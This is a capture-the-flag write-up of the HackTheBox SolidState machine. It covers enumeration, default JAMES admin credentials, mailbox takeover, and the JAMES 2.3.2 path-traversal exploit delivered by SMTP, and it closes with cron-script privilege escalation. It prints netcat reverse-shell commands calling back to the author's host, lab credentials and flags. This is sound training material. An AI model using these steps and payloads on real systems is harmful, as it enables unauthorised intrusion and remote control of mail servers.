HackTheBox's SolidState write up

This is my write-up for the SolidState machine provided by HackTheBox and created by ch33zplz.

HackTheBox SolidState System User Owns

Sup fellow padawans, this was an interesting box because the exploit had to be done in stages. This goes to show that proper enumeration, and really thinking about what an exploit is doing can save you a lot of time. It also saved us the trouble of taking part in the bloodbath that is reset hell. ¯\_(ツ)_/¯

I'll be breaking the post up into three phases:

Phase 1 - Enumeration

As always we'll start off with a simple nmap scan to see what's out there.

➜  ~ nmap --open -p- -R -T4 --max-retries 3 --min-rate 120 --max-rtt-timeout 300ms -Pn 10.10.10.51

Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-26 20:03 EST
Nmap scan report for 10.10.10.51
Host is up (0.12s latency).
Not shown: 61105 closed ports, 4424 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
22/tcp   open  ssh
25/tcp   open  smtp
80/tcp   open  http
110/tcp  open  pop3
119/tcp  open  nntp
4555/tcp open  rsip

Taking the discovered ports, we'll now run detailed scan. This will be much faster than scanning -p-.

➜  ~ nmap -A -p22,25,80,110,119,4555 --open -R -T4 --max-retries 3 --min-rate 120 --max-rtt-timeout 300ms -Pn 10.10.10.51

Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-26 20:14 EST
Nmap scan report for 10.10.10.51
Host is up (0.12s latency).

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
|   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_  256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (EdDSA)
25/tcp   open  smtp        JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello nmap.scanme.org (10.10.15.82 [10.10.15.82]), 
80/tcp   open  http        Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Home - Solid State Security
110/tcp  open  pop3        JAMES pop3d 2.3.2
119/tcp  open  nntp        JAMES nntpd (posting ok)
4555/tcp open  james-admin JAMES Remote Admin 2.3.2
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.44 seconds

Needless to say Remote Admin sounds the most interesting, but as always, we have a look at Apache first. I normally always use curl as it's less likely to hide bits in random places, and why not exercise those parsing muscles with a few pipes to pull data you think may be useful from the page, such as E-Mail addresses.

➜  ~ curl http://10.10.10.51 2>/dev/null | grep "@" | cut -d">" -f3 | cut -d"<" -f1
webadmin@solid-state-security.com

Cool, so we did find an E-Mail, and our target is likely a mail server. Maybe we'll need this later, maybe not, might as well save it.

A quick poke on exploit-db and you'll find this PDF, which shows how you can achieve remote code execution on Apache JAMES by overwriting /etc/bash_completion.d by creating the user ../../../../../../../../etc/bash_completion.d in JAMES Remote Admin and then sending an E-Mail to them with a nested command in the body which will be executed when a user logs in next. However, we should put this in the back of our mind for now and first check if the default login for JAMES Remote Admin has been changed.

➜  ~ nc 10.10.10.51 4555
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands

Great, so we have root access to JAMES Remote Admin, but what can we do with this?

HELP
listusers                               display existing accounts
adduser [username] [password]           add a new user
setpassword [username] [password]       sets a user's password
--trimmed due to size---

Let's start by investigating the different mailboxes, we'll change Mindy's password so we can login to the JAMES pop3 server.

setpassword mindy password
Password for mindy reset

Now we can login to Mindy's E-Mail, by initiating a telnet connection to port 110. You can also check out the other mailboxes afterwards.

➜  ~ telnet 10.10.10.51 110
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready 
USER mindy
+OK
PASS password
+OK Welcome mindy
LIST
+OK 2 1945
1 1109
2 836
.
RETR 2
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
          for <mindy@localhost>;
          Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
From: mailadmin@localhost
Subject: Your Access

Dear Mindy,


Here are your ssh credentials to access the system. Remember to reset your password after your first login. 
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path. 

username: mindy
pass: P@55W0rd1!2@

Respectfully,
James

.
QUIT
+OK Apache James POP3 Server signing off.
Connection closed by foreign host.

Here we go again, what is with people sending their SSH credentials all willy-nilly?! However, it's okay because clearly they have top-notch security in a restricted shell. Before we move on let's quickly see what port 119 is.

➜  ~ telnet 10.10.10.51 119
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
200 solidstate NNTP Service Ready, posting permitted
LIST
215 list of newsgroups follows
org.apache.james.dev 0 0 y
org.apache.avalon.dev 0 0 y
org.apache.avalon.user 0 0 y
org.apache.james.user 0 0 y
.

Seems like some kind of news server, a quick google found this, and indeed, "The first of these is NNTP support, which allows James to act as a Usenet server", we'll leave this alone for now. Back on track, let's try out that SSH login!

Phase 2 - Exploitation

➜  ~ ssh mindy@10.10.10.51
mindy@10.10.10.51's password: 
Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 22 14:00:02 2017 from 192.168.11.142
mindy@solidstate:~$

Let's grab our user flag and check out how restricted this shell actually is!

mindy@solidstate:~$ ls
bin  user.txt
mindy@solidstate:~$ cat user.txt
914d0a4ebc177889b5b89a23f556fd75
mindy@solidstate:~$ id
-rbash: id: command not found
mindy@solidstate:~$ /usr/bin/id
-rbash: /usr/bin/id: restricted: cannot specify `/' in command names
mindy@solidstate:~$ export -p
declare -rx PATH="/home/mindy/bin"
declare -rx SHELL="/bin/rbash"

So right off the bat we can see our path is /home/mindy/bin and we cannot write to this enviromental variable to change our path. In addition commands including / will be ignored, so we cannot use the full path to a binary. Lastly we see we are locked into an rbash shell, which also, is not writable. This is where the exploit mentioned earlier comes into play, we now have a user to login with to trigger our exploit, so we just need to prep a bit.

First we'll log back into JAMES Remote Admin to add the user mentioned in the exploit.

➜  ~ nc 10.10.10.51 4555
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands
adduser ../../../../../../../../etc/bash_completion.d exploit
User ../../../../../../../../etc/bash_completion.d added

Now that this user is created, we can use the open JAMES smtp server on port 25 to send the message including our payload.

➜  ~ telnet 10.10.10.51 25
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
220 solidstate SMTP Server (JAMES SMTP Server 2.3.2) ready Fri, 26 Jan 2018 23:24:57 -0500 (EST)
EHLO dostoevsky@solidstate
250-solidstate Hello dostoevsky@solidstate (10.10.15.82 [10.10.15.82])
250-PIPELINING
250 ENHANCEDSTATUSCODES
MAIL FROM: <'@solidstate>
250 2.1.0 Sender <'@solidstate> OK
RCPT TO: <../../../../../../../../etc/bash_completion.d>
250 2.1.5 Recipient <../../../../../../../../etc/bash_completion.d@localhost> OK
DATA
354 Ok Send data ending with <CRLF>.<CRLF>
FROM: dostoevsky@solidstate
'
/bin/nc -e /bin/bash 10.10.15.82 8000
.
250 2.6.0 Message received
quit
221 2.0.0 solidstate Service closing transmission channel
Connection closed by foreign host.

Lastly, we setup a listener, when the user mindy logs into ssh it will execute the reverse shell. Below you can see the output from SSH as it loses all its shit.

➜  ~ ssh mindy@10.10.10.51
mindy@10.10.10.51's password: 
Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jan 26 23:20:16 2018 from 10.10.15.82
-rbash: $'\254\355\005sr\036org.apache.james.core.MailImpl\304x\r\345\274\317ݬ\003': command not found
-rbash: L: command not found
--trimmed due to size---

Note: if another user beat you to this exploit you can actually bypass rbash all together by pressing CTRL+C a few times, making this whole process way quicker.

And here's our reverse shell!

➜  ~ nc -vlnp 8000
listening on [any] 8000 ...
connect to [10.10.15.82] from (UNKNOWN) [10.10.10.51] 56316
id
uid=1001(mindy) gid=1001(mindy) groups=1001(mindy)
python -c 'import pty;pty.spawn("/bin/bash");'
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ 

Moving on let's see what we can figure out about the system. By grepping ps for James we find it's running a bash script and jvm from the /opt directory. These are things we should investigate, however, poking around at them I wasn't able to find anything interesting.

${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ ps aux | grep james
root       352  0.0  0.1   2332   516 ?        Ss   20:08   0:00 /bin/sh /opt/james-2.3.2/bin/run.sh
root       383  0.3  7.4 445428 37816 ?        Sl   20:08   0:11 /usr/lib/jvm/java-8-openjdk-i386//bin/java -Djava.ext.dirs=/opt/james-2.3.2/lib:/opt/james-2.3.2/tools/lib -Djava.security.manager -Djava.security.policy=jar:file:/opt/james-2.3.2/bin/phoenix-loader.jar!/META-INF/java.policy -Dnetworkaddress.cache.ttl=300 -Dphoenix.home=/opt/james-2.3.2 -Djava.io.tmpdir=/opt/james-2.3.2/temp -jar /opt/james-2.3.2/bin/phoenix-loader.jar

Next let's have a look for some system crons. We find some, however, it's doing nothing interesting. Let's check out the /opt directory James is running from.

${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ cd /opt
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ ls -la
total 16
drwxr-xr-x  3 root root 4096 Aug 22 13:32 .
drwxr-xr-x 22 root root 4096 Jun 18  2017 ..
drwxr-xr-x 11 root root 4096 Aug 22 12:01 james-2.3.2
-rwxrwxrwx  1 root root  105 Aug 22 13:32 tmp.py

Interesting a root owned, writable python script.

${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ cat tmp.py
#!/usr/bin/env python
import os
import sys
try:
     os.system('rm -r /tmp/* ')
except:
     sys.exit()

So we didn't find any cron for this script, but we can test whether this script is being run, and even time the interval between execution.

${debian_chroot:+($debian_chroot)}mindy@solidstate:/tmp$ touch test
${debian_chroot:+($debian_chroot)}mindy@solidstate:/tmp$ ls -l
total 0
-rw-rw---- 1 mindy mindy 0 Jan 26 21:13 test
---some time passes---
${debian_chroot:+($debian_chroot)}mindy@solidstate:/tmp$ ls

Great, so the files in /tmp are being deleted. Let's add a little bit of code to execute at the end of tmp.py

Phase 3 - Privilege Escalation

mindy@solidstate:/tmp$ cd /opt
mindy@solidstate:/opt$ echo "os.system('/bin/nc -e /bin/bash 10.10.15.82 8001')" >> tmp.py
mindy@solidstate:/opt$ cat tmp.py
#!/usr/bin/env python
import os
import sys
try:
     os.system('rm -r /tmp/* ')
except:
     sys.exit()

os.system('/bin/nc -e /bin/bash 10.10.15.82 8001')

Now, we wait for our shell.

➜  ~ nc -vlnp 8001 
listening on [any] 8001 ...
connect to [10.10.15.82] from (UNKNOWN) [10.10.10.51] 45182
id
uid=0(root) gid=0(root) groups=0(root)  <-- bask in the glory of shell!
cd /root
ls
root.txt
cat root.txt
b4c9723a28899b1c45db281d99cc87c9

Let's also see what the cron was that ran this with our fancy new root privileges.

crontab -l
---trimmed due to size---
*/3 * * * * python /opt/tmp.py

Well, this box was way easier than one would have thought. We saved time by properly reading through the public exploit from exploit-db. All in all, this was a fun box.

Hope you enjoyed reading, happy hacking.

Elijah S.
Written by

Elijah S.

I'm just a nut obsessed with information and network security :)

Read More